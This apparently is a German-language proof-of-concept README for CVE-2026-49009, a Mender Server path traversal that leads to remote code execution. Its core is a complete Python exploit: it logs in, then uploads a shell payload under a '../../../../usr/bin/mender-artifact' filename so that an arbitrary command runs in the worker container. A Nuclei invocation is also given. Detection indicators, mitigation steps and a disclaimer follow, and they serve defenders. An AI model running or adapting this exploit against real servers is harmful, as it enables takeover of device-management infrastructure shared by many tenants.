### Warum das funktioniert

| Faktor | Erklärung |
|---|---|
| **Unbereinigter Pfad** | `../../../../usr/bin/mender-artifact` entkommt dem vorgesehenen Zielverzeichnis `/opt/mender/app/` |
| **Asynchrone Verarbeitung** | Der `create-artifact-worker` schreibt die Datei asynchron, bevor eine nachgelagerte Validierung stattfindet |
| **Binary-Hijack** | Nachfolgende Workflow-Schritte rufen `/usr/bin/mender-artifact` als Teil des normalen Betriebs auf |
| **Container-Wiederverwendung** | In Multi-Tenant-Bereitstellungen verarbeitet derselbe Worker-Container Artefakte für alle Mandanten |

---

## Proof of Concept

> **Autorisierung erforderlich.** Nur gegen Systeme ausführen, die Ihnen gehören oder für die Sie eine ausdrückliche schriftliche Erlaubnis zum Testen haben.

### Python-Exploit

<details>
<summary>▶ Exploit-Code anzeigen</summary>```python
#!/usr/bin/env python3
"""
CVE-2026-49009 — Mender Server Authenticated Path Traversal to RCE
Discovered by: j0xh-sec (HackerOne)
PoC by:        INTELEON404 (Authorized security assessment)
"""

import argparse
import base64
import json
import re
import sys
import time

import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


def parse_args():
    parser = argparse.ArgumentParser(
        description="CVE-2026-49009 — Mender Server Authenticated Path Traversal to RCE",
        epilog="Discovered by j0xh-sec | PoC by INTELEON404"
    )
    parser.add_argument("-t", "--target",   required=True, help="Base URL, e.g. https://mender.local")
    parser.add_argument("-u", "--username", required=True, help="Mender username / email")
    parser.add_argument("-p", "--password", required=True, help="Mender password")
    parser.add_argument("-c", "--command",  required=True, help="Command to execute")
    return parser.parse_args()


def banner():
    print("\n[ CVE-2026-49009 ] Mender Server Path Traversal → RCE")
    print("[ Discovered by j0xh-sec | PoC by INTELEON404 ]\n")


def build_payload(command: str) -> bytes:
    """Encode command as base64 shell script; preserves mender-artifact stdin passthrough."""
    encoded = base64.b64encode(command.encode()).decode()
    return f"""#!/bin/sh
# CVE-2026-49009 payload — INTELEON404
CMD_B64="{encoded}"
CMD="$(printf '%s' "$CMD_B64" | base64 -d 2>/dev/null || printf '%s' "$CMD_B64")"
/bin/sh -c "$CMD"
exec /bin/sh "$@"
""".encode()


def main():
    args = parse_args()
    banner()

    target = args.target.rstrip("/")
    if not target.startswith(("http://", "https://")):
        target = "https://" + target
    host = target.split("://")[1].split("/")[0]

    print(f"[*] Target : {target}")
    print(f"[*] User   : {args.username}")

    # ── Step 1: Authenticate ──────────────────────────────────────────────
    print("[*] Authenticating...")
    try:
        r = requests.post(
            f"{target}/api/management/v1/useradm/auth/login",
            auth=(args.username, args.password),
            headers={"Host": host, "Content-Type": "application/json"},
            data="{}",
            verify=False,
            timeout=30,
        )
        if r.status_code != 200:
            raise RuntimeError(f"Login failed (HTTP {r.status_code}): {r.text.strip()}")
        jwt = r.text.strip()
        print("[+] JWT obtained")
    except requests.RequestException as e:
        raise RuntimeError(f"Connection error during login: {e}")

    # ── Step 2: Submit traversal payload ─────────────────────────────────
    print("[*] Submitting path traversal payload...")
    artifact_name = f"rce-poc-{int(time.time())}"

    args_json = {
        "filename": "../../../../usr/bin/mender-artifact",
        "dest_dir": "/opt/mender/app",
        "software_name": "demo",
        "software_version": "1",
    }

    files = {
        "name":                     (None, artifact_name),
        "description":              (None, "CVE-2026-49009 PoC"),
        "type":                     (None, "single-file"),
        "device_types_compatible":  (None, "qemu"),
        "args":                     (None, json.dumps(args_json), "application/json"),
        "file":                     ("payload.sh", build_payload(args.command), "application/octet-stream"),
    }

    try:
        r = requests.post(
            f"{target}/api/management/v1/deployments/artifacts/generate",
            headers={"Host": host, "Authorization": f"Bearer {jwt}"},
            files=files,
            verify=False,
            timeout=60,
            allow_redirects=False,
        )
    except requests.RequestException as e:
        raise RuntimeError(f"Connection error during exploit: {e}")

    location = r.headers.get("Location", "")
    if not location:
        print(f"[!] HTTP {r.status_code} — no Location header returned")
        print(f"[!] Response: {r.text[:500]}")
        print("[-] Target may be patched (≥ 4.1.1 / 4.0.2) or credentials lack permissions")
        sys.exit(1)

    job_id = re.search(r"/([^/]+)$", location).group(1)
    print(f"[+] Workflow submitted — Job ID: {job_id}")
    print(f"[+] Payload : {args.command}")
    print("\n[*] Command executes inside the worker container when the workflow completes.")


if __name__ == "__main__":
    try:
        main()
    except RuntimeError as e:
        print(f"\n[!] ERROR: {e}", file=sys.stderr)
        sys.exit(1)
    except KeyboardInterrupt:
        print("\n[*] Interrupted")
        sys.exit(130)

### Nuclei```bash
nuclei -t CVE-2026-49009.yaml \
  -u https://mender-server.local \
  -var [email protected] \
  -var PASSWORD='s3cret!'

---

## Erkennung & Indikatoren

### Anwendung / Host

| Indikator | Beschreibung |
|---|---|
| `Location`-Header nach traversal-fähigem Dateinamen | Server gibt `Location` zurück, nachdem ein `../`-enthaltender Dateiname akzeptiert wurde |
| Verdächtige Artefaktnamen | Muster: `cve-poc-*`, `rce-poc-*`, `pwn-*` |
| Geänderter Binärzeitstempel | Zeitstempel von `/usr/bin/mender-artifact` innerhalb des Worker-Containers geändert |
| Unerwartete Worker-Ausgabe | Container-Logs zeigen Befehle, die nicht mit der Artefaktverarbeitung zusammenhängen |

### Netzwerk

| Indikator | Beschreibung |
|---|---|
| POST an `artifacts/generate` | Mit `args`-JSON, das `../`-Sequenzen enthält |
| Auth + Upload-Paar | Basic-Auth-Login unmittelbar gefolgt von Multipart-Upload von derselben Quell-IP |

### Nuclei-Trefferlogik

Die Vorlage liefert ein positives Ergebnis, wenn:
1. `POST /useradm/auth/login` → `HTTP 200` + gültiges JWT (> 100 Zeichen)
2. `POST /artifacts/generate` → `HTTP 2xx` + `Location`-Header vorhanden

Ein gepatchter Server (≥ 4.1.1 / 4.0.2) lehnt den Traversal-Pfad bei Schritt 2 mit `HTTP 4xx` ab.

---

## Abhilfe

| Priorität | Maßnahme |
|---|---|
| **Sofort** | Upgrade auf Mender Server **4.1.1** oder **4.0.2** |
| **Kompensierende Kontrolle** | Kryptografische Artefaktsignierung aktivieren – Geräte lehnen manipulierte Artefakte ab |
| **Workaround** | API-Zugriff auf vertrauenswürdige Netzwerke beschränken; Artefaktgenerierung deaktivieren, falls nicht genutzt |
| **Prüfung** | Logs auf Artefaktgenerierungsanfragen mit ungewöhnlichen `filename`-Werten durchsuchen |

---

## Zeitplan

| Datum | Ereignis |
|---|---|
| 2026-04-01 | Mender Server 4.1.1 / 4.0.2 mit Fix veröffentlicht |
| 2026-05-27 | CVE veröffentlicht; Advisory von Northern.tech herausgegeben |
| 2026-05-27 | PoC von INTELEON404 veröffentlicht |

---

## Referenzen

- [NVD — CVE-2026-49009](https://nvd.nist.gov/vuln/detail/CVE-2026-49009)
- [Northern.tech Security Advisory](https://mender.io/blog/cve-2026-49009-cve-2026-33552-input-sanitization-and-access-control-issues-in-mender-server)
- [OpenCVE-Eintrag](https://app.opencve.io/cve/CVE-2026-49009)
- [Tenable CVE-Seite](https://www.tenable.com/cve/CVE-2026-49009)
- [Mender Server Changelog](https://docs.mender.io/release-information/release-notes-changelog/mender-server)
- [Mender Enterprise Changelog](https://docs.mender.io/release-information/release-notes-changelog/mender-server-enterprise)
- [INTELEON404/CVE-2026-49009](https://github.com/INTELEON404/CVE-2026-49009)
- [j0xh-sec/CVE-2026-49009](https://github.com/j0xh-sec/CVE-2026-49009)

---

## Haftungsausschluss

> [!WARNING]
> **Nur für autorisierte Sicherheitstests und Bildungszwecke.**
>
> Dieser Proof of Concept ist ausschließlich für die Nutzung gegen Systeme bestimmt, die Sie selbst besitzen oder für die Sie **ausdrückliche schriftliche Erlaubnis** zum Testen erhalten haben. Unautorisierter Zugriff auf Computersysteme ist illegal gemäß dem Computer Fraud and Abuse Act (CFAA), dem Computer Misuse Act (CMA) und gleichwertigen Gesetzen weltweit.
>
> Die Autoren übernehmen keine Haftung für Missbrauch, Schäden oder illegale Aktivitäten, die aus diesem Material entstehen.

---

<div align="center">

**Entdeckt von** [j0xh-sec](https://hackerone.com/j0xh-sec) über HackerOne · Verantwortungsvolle Offenlegung gegenüber Northern.tech  
**PoC von** INTELEON404 · Autorisierte Sicherheitsbewertung

</div>